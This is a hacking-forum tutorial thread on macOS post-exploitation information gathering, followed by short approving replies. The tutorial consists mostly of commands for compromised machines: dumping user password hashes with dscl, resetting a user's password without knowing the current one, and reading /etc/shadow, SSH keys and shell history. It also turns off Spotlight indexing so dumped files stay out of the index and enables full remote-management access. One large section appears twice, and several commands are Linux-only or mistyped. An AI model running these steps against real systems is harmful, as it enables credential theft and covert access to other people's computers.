Hack Forums
OSX Information Gathering - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: OSX Information Gathering (/showthread.php?tid=5751343)

OSX Information Gathering - CyberStrike - Nov 11, 2017

Tested against 10.6.8 so double check against newer version


OSX may or may not be encountered during an engagement but in case if it is encountered one must know post exploitation procedures. OSX does have BASH terminal similar to Linux yet much of the functionality is not there. For reference for the terminal commands in OSX check in the reference links.Much of the localhost enumeration will be the same as with Linux although we must remember that some of the commands and files may not be in the same locations as one would generally look in Linux. In addition one should note that creating backdoors for OSX the file type will be a “macho” much like how in Linux users “elf” and Windows uses “exe”. There are several post modules in metasploit for OSX so you are not without your trusty modules in metasploit when it comes to OSX. (Some of these commands may not be used any further so verify the commands)


Information Gathering via meterpreter:

Step 1

Code
use post/osx/gather/enum_osx

Code
run

This will gather information on the state of the localhost in order to get situational awareness. This post module will gather information on the OS, firewall, logs, bluetooth, ethernet, networks, applications, startup, and many more configurations to help you get your situational awareness. You can find the results in the ~/.msf4/logs/post/enum_osx/ folder of course navigate to the corresponding file usually titled as “Victim.local_#here”, which now you may read the various text files to the corresponding gathered information.  

If you do not have meterpreter then you will have to enumerate manually, so let’s dive into that subject.

Finding out the OS

Step 1

Code
uname -a

sw_vers
     sw_vers -productName
     sw_vers -productVersion
     sw_vers -buildVersion
system_profiler -xml -detaillevel full

You also may want this into a text format in that case run the following:

Code
system_profiler -deataillevel full > osxreport.txt

System profiler has many things which can be enumerated without root.  The following is a list of various data sets that maybe enumerated individually.

Code
SPHardwareDataType
SPNetworkDataType
SPSoftwareDataType
SPParallelATADataType
SPAudioDataType
SPBluetoothDataType
SPDiagnosticsDataType
SPDiscBurningDataType
SPFibreChannelDataType
SPFireWireDataType
SPDisplaysDataType
SPMemoryDataType
SPPCCardDataType
SPPCIDataType
SPParallelSCSIDataType
SPPowerDataType
SPPrintersDataType
SPSerialATADataType
SPUSBDataType
SPAirPortDataType
SPFirewallDataType
SPNetworkLocationDataType
SPModemDataType
SPNetworkVolumeDataType
SPApplicationsDataType
SPExtensionsDataType
SPFontsDataType
SPFrameworksDataType
SPLogsDataType
SPPrefPaneDataType
SPStartupItemDataType

As we can see this is a one stop shopping list of information we need to gather on a OSX machine. As an example let us look at how to use this command.

Code
system_profiler SPFirewallDataType

Recent Applications and Documents:

First you want ensure that all outputs are saved in a txt document to ensure that no enumerated data is lost during the engagement.

Step 1
Code
defaults read com.apple.recentitems RecentApplications | grep Name
defaults read com.apple.recentitems RecentDocuments | grep Name

SpotLight Search (No root)

Code
mdfind

There are several search criteria to pay attention to
Applications kind:application, kind:applications, kind:app
Audio/Music kind:audio, kind:music
Bookmarks kind:bookmark, kind:bookmarks
Contacts kind:contact, kind:contacts
Email kind:email, kind:emails, kind:mail message, kind:mail messages
Folders kind:folder, kind:folders
Fonts kind:font, kind:fonts
iCal Events kind:event, kind:events
iCal To Dos kind:todo, kind:todos, kind:to do, kind:to dos
Images kind:image, kind:images
Movies kind:movie, kind:movies
PDF kind:pdf, kind:pdfs
Preferences kind:system preferences, kind:preferences
Presentations kind:presentations, kind:presentation
You also may specify dates and use boolean operators
date:today    $time.today()
date:yesterday .yesterday()
date:this week  .this_week()
date:this month .this_month()
date:this year  .this_year()

date:tomorrow  .tomorrow()
date:next month  .next_month()
date:next week  .next_week()
date:next year  .next_year()
Boolean Operators
By default mdfind will AND together elements of the query string.
| (OR) To return items that match either word, use the pipe character: stringA|stringB
- (NOT) To exclude documents that match a string -string
== “equal”
!= “not equal”
< and > “less” or “more than”
<= and >= “less than or equal” or “more than or equal”
Whitespace is significant when building a query, use parenthesis () to create groups.

Searching you maybe able to locate files with significance such as resumes or passwords saved in a text document, pictures are also helpful as they often contain metadata such as locations for the user and the device which the picture was taken on.

Examples:

Code
mdfind image

mdfind "kMDItemAuthor == '*First Lastname*'" (you will use the name of the target instead of First Lastname)

Recent Applications and Documents:

First you want ensure that all outputs are saved in a txt document to ensure that no enumerated data is lost during the engagement.

Step 1
Code
defaults read com.apple.recentitems RecentApplications | grep Name
defaults read com.apple.recentitems RecentDocuments | grep Name

SpotLight Search (No root)

Code
mdfind

There are several search criteria to pay attention to
Applications kind:application, kind:applications, kind:app
Audio/Music kind:audio, kind:music
Bookmarks kind:bookmark, kind:bookmarks
Contacts kind:contact, kind:contacts
Email kind:email, kind:emails, kind:mail message, kind:mail messages
Folders kind:folder, kind:folders
Fonts kind:font, kind:fonts
iCal Events kind:event, kind:events
iCal To Dos kind:todo, kind:todos, kind:to do, kind:to dos
Images kind:image, kind:images
Movies kind:movie, kind:movies
PDF kind:pdf, kind:pdfs
Preferences kind:system preferences, kind:preferences
Presentations kind:presentations, kind:presentation
You also may specify dates and use boolean operators
date:today    $time.today()
date:yesterday .yesterday()
date:this week  .this_week()
date:this month .this_month()
date:this year  .this_year()

date:tomorrow  .tomorrow()
date:next month  .next_month()
date:next week  .next_week()
date:next year  .next_year()
Boolean Operators
By default mdfind will AND together elements of the query string.
| (OR) To return items that match either word, use the pipe character: stringA|stringB
- (NOT) To exclude documents that match a string -string
== “equal”
!= “not equal”
< and > “less” or “more than”
<= and >= “less than or equal” or “more than or equal”
Whitespace is significant when building a query, use parenthesis () to create groups.

Searching you maybe able to locate files with significance such as resumes or passwords saved in a text document, pictures are also helpful as they often contain metadata such as locations for the user and the device which the picture was taken on.

Examples:

Code
mdfind image

mdfind "kMDItemAuthor == '*First Lastname*'" (you will use the name of the target instead of First Lastname)
Finding User ID

Step 1

Find out who you are logged in as
whoami

Finding out the Group ID’s that the user belongs to

Step 1

Code
id -Gn user

If you are running as a privileged user then you may use in order to see the processes and user ID’s associated with these processes .

Code
id -A

Options
   -A     Display the process audit user ID and other process audit properties, which requires privilege.

   -G     Display the different group IDs (effective, real and supplementary)
         as white-space separated numbers, in no particular order.

   -M     Display the MAC label of the current process.

   -P     Display the id as a password file entry.

   -g     Display the effective group ID as a number.

   -n     Display the name of the user or group ID for the -G, -g and -u
          options instead of the number.  If any of the ID numbers cannot
          be mapped into names, the number will be displayed as usual.

   -p     Make the output human-readable.  If the user name returned by
          getlogin(2) is different from the login name referenced by the
          user ID, the name returned by getlogin(2) is displayed, preceded
          by the keyword `login'.  The user ID as a name is displayed,
          preceded by the keyword `uid'.  If the effective user ID is
          different from the real user ID, the real user ID is displayed as
          a name, preceded by the keyword `euid'.  If the effective group
          ID is different from the real group ID, the real group ID is displayed
          as a name, preceded by the keyword `rgid'.  The list of
          groups to which the user belongs is then displayed as names, preceded
          by the keyword `groups'.  Each display is on a separate line.

   -r     Display the real ID for the -g and -u options instead of the
         effective ID.

   -u     Display the effective user ID as a number.   

Finding Users (Con’t)

Code
ls -alh /Users/*/
ls -alh /Users/*/.ssh/
cat /Users/*/.ssh/authorized_keys
cat /Users/*/.ssh/known_hosts
cat /Users/*/.*hist*
find -type f /Users/*/.vnc /Users/*/.subversion
grep ^ssh /Users/*/.*hist*
grep ^telnet `/Users/*/.*hist*
grep ^mysql /Users/*/.*hist*
cat /Users/*/.viminfo
sudo -l # if sudoers is not readable, this sometimes works per user
crontab -l


Check the environmental tables

Code
printenv

Check who is logged in

Code
who

Checking the processes currently running
Code
ps -aux
ps -ae

Directory Service Command Line allows to read/manage/change data

Step 1

Code
dscl localhost -read /Search/Users/UserName ShadowHashData | tail -1 | xxd -r -p | plutil -convert xml1 -o - - (Dump in workable format)

You will have to change the ‘UserName’ to the target of our inquiry based upon your information gathering.

Changing user passwd w/ current passwd once again you will have to edit the command to suit the information which you have gathered.

Code
dscl localhost -passwd /Search/Users/UserName(change Username’s password without needing current)

Getting user passwd hash, and you will have to change the <username>.

Code
dscl . -read /Users/<username> ShadowHashData | cut -f9-25 -d" " | cut -f3 -d ":" | tr -d ' '

It is suggested that you save contents of hashed passwords to a text file.

Metadata stores used by Spotlight Search

Turn off SpotLight indexing on / - replace ‘off’ with ‘on’ to turn it back on - useful if you want to not have any files you dump locally indexed - replace ‘/’ with ‘volumeName’ if not working on boot volume

Code
mdutil -i off /
Show indexing of the root volume

Code
mdutil -s /

    There maybe a few differences between the various OSX versions


 OSX Leopard and Lion

Code
dscacheutil -q user
dscacheutil -q group

Tiger
Code
lookupd -q user
lookupd -q group

Networking:
    As has been mentioned above there are many similarities which one may have noticed relative to Linux terminal.  Networking also will have similarities with Linux as well.
Network Information Gathering
Step 1

Code
ifconfig
hostname -f
ip addr show
ifconfig -a
route -n
cat /etc/network/interfaces
iptables -L -n
netstat -anop
netstat -r
netstat -nltupw (root with raw sockets)
arp -a
lsof -nPi

Next check the current tcp/upd connections

Code
netstat -np tcp
netstat -np udp

Check the routes

Code
netstat -nr

Checking the configurations

Code
ls -ahl /Applications/
port installed
ls -alh /private/etc/
ls -alh /Library/Application Support/
ls -aRl /etc/ | awk '$1 ~ /w.$/' | grep -v lrwx 2>/dev/null
cat /etc/issue{,.net}
cat /etc/passwd
cat /etc/shadow (gotta try..)
cat /etc/shadow~ # (sometimes there when edited with gedit)
cat /etc/master.passwd
cat /etc/group
cat /etc/hosts
cat /etc/crontab
cat /etc/sysctl.conf
for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lists all crons)
cat /etc/resolv.conf
cat /etc/samba/smb.conf
pdbedit -L -w
pdbedit -L -v
cat /etc/exports
cat /etc/auto.master
cat /etc/auto_maste
cat /etc/fstab
cat /etc/exports
find /etc/sysconfig/ -type f -exec cat {} \;
cat /etc/sudoers
Applications Installed
cat /etc/apt/sources.list
ls -l /etc/yum.repos.d/
cat  /etc/yum.conf

Important Files
Code
ls -ma ~/
ls -alh /Users/
ls -alh /Users/*/.ssh/
ls -alh /Users/*/.gnupg/
ls -alh /Volumes/
find /var/log -type f -exec ls -la {} \;
ls -alhtr /mnt
ls -alhtr /Volumes
ls -alhtr /tmp
ls -alhtr /home
ls /Users/*/.ssh/*
find /home -type f -iname '.*history'
ls -lart /etc/rc.d/
locate tar | grep [.]tar$
locate tgz | grep [.]tgz$
locate sql l grep [.]sql$
locate settings | grep [.]php$
locate config.inc | grep [.]php$
ls /Users/*/id*
locate .properties | grep [.]properties # java config files
locate .xml | grep [.]xml # java/.net config files
find /sbin /usr/sbin /opt /lib `echo $PATH | ‘sed s/:/ /g’` -perm -4000 # find suids


Remote Access (You will need privileges)
Once again we can go ahead and use RDP on a target machine. We can use kickstart to for documentation refer to :
https://support.apple[.]com/en-us/HT201710

Enable VNC from terminal
Step 1
Code
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -access -on -users admin -privs -all -restart -agent -menu
To disable RDP
Step 1
Code
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -deactivate -configure -access -off


RE: OSX Information Gathering - L0LAA - May 12, 2018

very niceee i like it..... but i just wanted to tell you that there is a rtypo epetition of big part in the middle of the post...but great work ...thansk sirru :D :D

RE: OSX Information Gathering - CyberStrike - May 12, 2018

(May 12, 2018 08:14 AM)L0LAA Wrote:  very niceee i like it..... but i just wanted to tell you that there is a rtypo epetition of big part in the middle of the post...but great work ...thansk sirru :D :D

It's so long that now editing it to fix typos would mean I would have to break up the post. I am glad you liked it, you're welcome.

RE: OSX Information Gathering - Travelers - May 14, 2018

Great little tutorial. I don't have much, if any, OS X experience so this at least shed a little bit of light on the command line.

RE: OSX Information Gathering - CyberStrike - May 14, 2018

(May 14, 2018 02:44 AM)Governance Wrote:  Great little tutorial. I don't have much, if any, OS X experience so this at least shed a little bit of light on the command line.

Awesome hope it helps I basically approached it like Linux and tried to find equivalent in the castrated bash of OSX. This weekend I will really try to work on another OSX tutorial. I got a couple of OSX machines so commands do vary a bit so always double check.

RE: OSX Information Gathering - Last_viking - May 15, 2018

HQ tutorial ma man this was very helpful learn't something very valuable

RE: OSX Information Gathering - cat_a_pillar - May 15, 2018

Yeah this is neat I am going to try to tonight or tomorrow. Thanks a lot man.

RE: OSX Information Gathering - CyberStrike - May 15, 2018

(May 15, 2018 02:58 PM)last viking Wrote:  HQ tutorial ma man this was very helpful learn't something very   valuable
Awesome glad it of benefit.
(May 15, 2018 06:37 PM)cat_a_pillar Wrote:  Yeah this is neat I am going to try to tonight or tomorrow. Thanks a lot man.

Let me know how it goes.

(May 15, 2018 02:58 PM)last viking Wrote:  HQ tutorial ma man this was very helpful learn't something very   valuable
Awesome glad it of benefit.
(May 15, 2018 06:37 PM)cat_a_pillar Wrote:  Yeah this is neat I am going to try to tonight or tomorrow. Thanks a lot man.

Let me know how it goes. Double check all commands https://ss64.com/osx/